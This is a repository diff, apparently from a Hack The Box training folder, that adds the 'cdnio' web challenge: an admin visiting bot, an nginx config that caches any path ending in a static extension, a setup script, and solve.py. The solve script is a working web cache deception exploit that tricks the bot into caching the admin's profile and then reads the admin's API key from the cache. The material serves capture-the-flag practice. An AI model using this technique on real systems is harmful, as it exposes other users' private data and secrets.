<span class="holo-label">Created At:</span> <span class="holo-value">${user.created_at}</span>
|
||||||
|
</div>
|
||||||
|
`;
|
||||||
|
|
||||||
|
$("#profileData").html(profileHtml);
|
||||||
|
$(".sci-fi-profile").show();
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
{% endblock %}
|
||||||
41
training/htb/challenges/web/cdnio/challenge/app/utils/bot.py
Normal file
41
training/htb/challenges/web/cdnio/challenge/app/utils/bot.py
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
import time, os, threading, requests
|
||||||
|
|
||||||
|
base_url = "http://0.0.0.0:1337"
|
||||||
|
|
||||||
|
admin_passwd = os.getenv("RANDOM_PASSWORD")
|
||||||
|
|
||||||
|
base_headers = {
|
||||||
|
"User-Agent": "CDNio Bot ()"
|
||||||
|
}
|
||||||
|
|
||||||
|
def login_and_get_token():
|
||||||
|
session = requests.Session()
|
||||||
|
|
||||||
|
login_url = f"{base_url}/"
|
||||||
|
payload = {
|
||||||
|
"username": "admin",
|
||||||
|
"password": admin_passwd
|
||||||
|
}
|
||||||
|
response = session.post(login_url, json=payload, headers=base_headers)
|
||||||
|
|
||||||
|
if response.status_code == 200:
|
||||||
|
token = response.json().get("token")
|
||||||
|
return token, session
|
||||||
|
else:
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
def bot_runner(uri):
|
||||||
|
|
||||||
|
token, session = login_and_get_token()
|
||||||
|
|
||||||
|
headers = {
|
||||||
|
**base_headers,
|
||||||
|
"Authorization": f"Bearer {token}"
|
||||||
|
}
|
||||||
|
|
||||||
|
r = requests.get(f"{base_url}/{uri}", headers=headers)
|
||||||
|
|
||||||
|
time.sleep(5)
|
||||||
|
|
||||||
|
def bot_thread(uri):
|
||||||
|
bot_runner(uri)
|
||||||
3
training/htb/challenges/web/cdnio/challenge/wsgi.py
Normal file
3
training/htb/challenges/web/cdnio/challenge/wsgi.py
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
from app import create_app
|
||||||
|
|
||||||
|
app = create_app()
|
||||||
0
training/htb/challenges/web/cdnio/conf/.gitkeep
Normal file
0
training/htb/challenges/web/cdnio/conf/.gitkeep
Normal file
49
training/htb/challenges/web/cdnio/conf/nginx.conf
Normal file
49
training/htb/challenges/web/cdnio/conf/nginx.conf
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
user nobody;
|
||||||
|
worker_processes 1;
|
||||||
|
pid /run/nginx.pid;
|
||||||
|
|
||||||
|
events {
|
||||||
|
worker_connections 768;
|
||||||
|
}
|
||||||
|
|
||||||
|
http {
|
||||||
|
server_tokens off;
|
||||||
|
|
||||||
|
include /etc/nginx/mime.types;
|
||||||
|
default_type application/octet-stream;
|
||||||
|
|
||||||
|
proxy_cache_path /var/cache/nginx keys_zone=cache:10m max_size=1g inactive=60m use_temp_path=off;
|
||||||
|
|
||||||
|
server {
|
||||||
|
listen 1337;
|
||||||
|
|
||||||
|
server_name _;
|
||||||
|
|
||||||
|
location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
|
||||||
|
proxy_cache cache;
|
||||||
|
proxy_cache_valid 200 3m;
|
||||||
|
proxy_cache_use_stale error timeout updating;
|
||||||
|
expires 3m;
|
||||||
|
add_header Cache-Control "public";
|
||||||
|
|
||||||
|
proxy_pass http://unix:/tmp/gunicorn.sock;
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Forwarded-Proto $scheme;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
location / {
|
||||||
|
proxy_pass http://unix:/tmp/gunicorn.sock;
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Forwarded-Proto $scheme;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
access_log /var/log/nginx/access.log;
|
||||||
|
error_log /var/log/nginx/error.log;
|
||||||
|
}
|
||||||
|
}
|
||||||
4
training/htb/challenges/web/cdnio/conf/requirements.txt
Normal file
4
training/htb/challenges/web/cdnio/conf/requirements.txt
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
Flask
|
||||||
|
gunicorn
|
||||||
|
pyjwt
|
||||||
|
requests
|
||||||
BIN
training/htb/challenges/web/cdnio/database.db
Normal file
BIN
training/htb/challenges/web/cdnio/database.db
Normal file
Binary file not shown.
40
training/htb/challenges/web/cdnio/entrypoint.sh
Normal file
40
training/htb/challenges/web/cdnio/entrypoint.sh
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
set -e
|
||||||
|
|
||||||
|
DB_PATH="/www/app/database.db"
|
||||||
|
|
||||||
|
if [ ! -f "$DB_PATH" ]; then
|
||||||
|
sqlite3 "$DB_PATH" <<- 'EOF'
|
||||||
|
CREATE TABLE users (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
username TEXT NOT NULL UNIQUE,
|
||||||
|
password TEXT NOT NULL,
|
||||||
|
email TEXT NOT NULL UNIQUE,
|
||||||
|
api_key TEXT NOT NULL UNIQUE,
|
||||||
|
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||||
|
);
|
||||||
|
EOF
|
||||||
|
fi
|
||||||
|
|
||||||
|
RANDOM_PASSWORD=$(openssl rand -base64 16 | tr -d '\n') && export RANDOM_PASSWORD
|
||||||
|
|
||||||
|
sqlite3 "$DB_PATH" <<- EOF
|
||||||
|
INSERT INTO users (username, password, email, api_key)
|
||||||
|
VALUES ('admin', '$RANDOM_PASSWORD', 'admin@hackthebox.com', 'HTB{f4k3_fl4g_f0r_t35t1ng}');
|
||||||
|
EOF
|
||||||
|
|
||||||
|
mkdir -p /var/cache/nginx \
|
||||||
|
&& mkdir -p /var/log/gunicorn \
|
||||||
|
&& chown -R nobody:nogroup /var/log/gunicorn \
|
||||||
|
&& chown -R nobody:nogroup /www
|
||||||
|
|
||||||
|
nginx -g 'daemon off;' &
|
||||||
|
exec su nobody -s /bin/sh -c \
|
||||||
|
"gunicorn \
|
||||||
|
--bind 'unix:/tmp/gunicorn.sock' \
|
||||||
|
--workers '2' \
|
||||||
|
--access-logfile '/var/log/gunicorn/access.log' \
|
||||||
|
wsgi:app"
|
||||||
|
|
||||||
|
|
||||||
29
training/htb/challenges/web/cdnio/solve.py
Normal file
29
training/htb/challenges/web/cdnio/solve.py
Normal file
@@ -0,0 +1,29 @@
|
|||||||
|
import requests
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
|
||||||
|
ALPHABET = string.ascii_letters
|
||||||
|
|
||||||
|
|
||||||
|
URL = "http://154.57.164.75:32624"
|
||||||
|
|
||||||
|
# register a new account
|
||||||
|
username = "".join(ALPHABET[random.randint(0, len(ALPHABET) - 1)] for _ in range(20))
|
||||||
|
pw = "pw"
|
||||||
|
email = username
|
||||||
|
res = requests.post(f"{URL}/register", json={"username": username, "password": pw, "email": email})
|
||||||
|
print(res.text)
|
||||||
|
|
||||||
|
# log into the new account
|
||||||
|
res = requests.post(f"{URL}", json={"username": username, "password": pw})
|
||||||
|
token = res.json()["token"]
|
||||||
|
print(f"[+] token = {token}")
|
||||||
|
|
||||||
|
# send the bot to /profile.js
|
||||||
|
uri = "profile.js"
|
||||||
|
res = requests.post(f"{URL}/visit", headers={"Authorization": f"Bearer {token}"}, json={"uri": uri})
|
||||||
|
print(res.text)
|
||||||
|
|
||||||
|
# retrieve the cached result
|
||||||
|
res = requests.get(f"{URL}/{uri}")
|
||||||
|
print(res.text)
|
||||||
Reference in New Issue
Block a user